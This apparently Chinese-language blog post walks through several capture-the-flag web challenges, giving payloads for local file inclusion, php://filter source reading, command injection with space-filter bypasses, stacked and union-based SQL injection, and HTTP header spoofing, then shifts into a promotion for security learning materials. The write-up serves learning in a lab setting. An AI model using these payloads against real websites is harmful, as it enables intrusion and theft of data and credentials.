文件包含分为本地文件包含 和 远程文件包含(php.ini可以进行配置)

allow\_url\_fopen=On/Off 本地文件包含(LFI)(开和关都可包含本地文件)
allow\_url\_include=On/Off 远程文件包含(RFI)

常见的文件包含 函数:PHP:include()、include_once()、require()、require_once()

  • Require: 找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本;
  • Include:找不到被包含的文件时只会产生一个(E_warinng),脚本将继续执行;
  • Require_once:与 include 类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含;

用法:?file=../../../../../../../../../../../../../../../../etc/passwd

PHP伪协议:

  • php://filter 用于读取源码
  • php://input 用于执行php代码

php://filter使用:

 php://filter/read=convert.base64-encode/resource=xxx  # 用base64编码的方式来读文件flag.php

Payload:/?file=php://filter/read=convert.base64-encode/resource=flag.php 然后Base64解码就可以得到flag

在这里插入图片描述
在这里插入图片描述

flag{8cd86bd7-28e2-4ac9-8e3c-9f6847a6ce6a}

[ACTF2020 新生赛]Exec

在这里插入图片描述
简单的命令执行 : 127.0.0.1 || cat /flag 即可得到flag

在这里插入图片描述

flag{6570b254-2c5b-4dee-a0ba-2a777452b1e5}

[强网杯 2019]随便注

输入1,2 输入3的时候发现报错了 说明只有两个字段
在这里插入图片描述
在这里插入图片描述
先放着 还没研究明白这题

[GXYCTF2019]Ping Ping Ping

在这里插入图片描述
输入:/?ip=127.0.0.1 有回显继续过滤 || ls 发现有flag.php文件 这里看到space 提示是空格绕过

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里可以参考:https://blog.csdn.net/a3320315/article/details/99773192

{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt: $IFS$9 $9指传过来的第9个参数
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

这里第1种方法不行 可能是{}被过滤了 直接看第3个但是还是过滤了 在尝试一些index.php 这里可以看到源代码 进行代码审计!

在这里插入图片描述
在这里插入图片描述

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg\_match("/\&|\/|\?|\\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg\_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg\_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg\_match("/.\*f.\*l.\*a.\*g.\*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell\_exec("ping -c 4 ".$ip);
  echo "

";
  print\_r($a);
}

?>

可以看到这里过滤了很多 这里方法有很多种 我就一种吧(比较懒)
内联执行:将指定的函数体插入并取代每一处调用该函数的地方

 `` 反引号 在linux中作为内联执行,执行输出结果
 cat `ls` //执行ls输出 index.php 和 flag.php 然后再执行 cat flag.php;cat index.php
 构造Payload :?ip=127.0.0.1|cat$IF$9`ls`

`
在这里插入图片描述

flag{ae43eee7-f909-4d59-b405-e52f3347c18f}

[SUCTF 2019]EasySQL

考点:堆叠注入

这里输入1,2有回显0有没有 字母也没有 尝试order 发现也被过滤了回显 Nonono

在这里插入图片描述
在这里插入图片描述
这里我们尝试一下堆叠注入 1;show databases; 发现有回显

在这里插入图片描述
查看数据库的表1; show tables; 发现 FLAG表 继续查询1;show columns from用来查询表中列名称 (发现这里也被过滤了)

在这里插入图片描述

在这里插入图片描述
其实做到这里就没思路了 去看别的大佬的文章 得知这里需要猜测后端数据库

sql内置语句:sql=“select”.post[‘query’]."||flag from Flag";
*没过滤 输入*1就相当于构造了select *,1 || flag from Flag,这条语句执行起来相当于select *, 1 from Flag

在这里插入图片描述

flag{7533aecc-59b3-49c3-a374-6d20ab6edbd4}

[极客大挑战 2019]Secret File

直接F12查看源代码 看到了一个./Archive_room.php进行访问,使用BP简单抓个包发现了 secr3t.php

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight\_file(\_\_FILE\_\_);
    error\_reporting(0);
    $file=$\_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

这里访问 flag.php 他说在里面 发现没有然后看到刚刚源码的 include()函数 存在文件包含使用伪协议(上面有讲怎么 使用)

构造Payload:/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

在这里插入图片描述

在这里插入图片描述
Base64解码:http://www.jsons.cn/base64

在这里插入图片描述

flag{a402233a-9fc9-4d14-8c45-5dc839309887}

[极客大挑战 2019]LoveSQL

考点:联合注入

在这里插入图片描述
使用万能密码 1'or'1'='1

在这里插入图片描述

1' union select 1,2,3# #联合查询查看 字段

在这里插入图片描述

1' union select 1,2,3,4# #

在这里插入图片描述
这里输入4 报错 说明只有3个字段

在这里插入图片描述

1' union select 1,2,database()# 爆破数据库

在这里插入图片描述

1' union select 1,2,group\_concat(table\_name) from information\_schema.tables where table\_schema='geek'# 爆破geek表

在这里插入图片描述

1' union select 1,2,group\_concat(column\_name) from information\_schema.columns where table\_name='l0ve1ysq1'# 爆字段

在这里插入图片描述

1' union select 1,2,group\_concat(concat\_ws('~',username,password)) from geek.l0ve1ysq1# 用concat\_ws函数连起来全部看一下

在这里插入图片描述
这里F12太长了看不了

flag{95ef6cab-f872-44ad-b725-ccaffc73865e}

[极客大挑战 2019]Http

考点:HTTP伪造请求头

知识点:HTTP请求响应头

referer:告诉服务器我是从哪个页面链接过来的(网址是跳转前的网址)
X-Forwarded-For: 用户访问服务器的 IP 地址
Content-Type:标识发送或接收到的数据的类型(使得http传输的不仅仅是文本还可以是图片视频等)
User-Agent: 使用的浏览器版本信息

F12查看一下源代码发现了/Secret.php 这里给了提示:https://www.Sycsecret.com 需要从这个url请求发送 直接抓包 改一下。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

referer:https://www.Sycsecret.com  
User-Agent:Syclover
X-Forwarded-For:127.0.0.1

在这里插入图片描述
然后又给了提示 需要使用Syclover浏览器 然后又提示本地访问!

在这里插入图片描述

在这里插入图片描述

flag{728bec5d-fa79-4344-960b-c21796344bab}

[极客大挑战 2019]Knife

一、网安学习成长路线图

网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
在这里插入图片描述

二、网安视频合集

观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
在这里插入图片描述

三、精品网安学习书籍

当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
在这里插入图片描述

四、网络安全源码合集+工具包

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
在这里插入图片描述

五、网络安全面试题

最后就是大家最关心的网络安全面试题板块
在这里插入图片描述在这里插入图片描述

Logo

魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。

更多推荐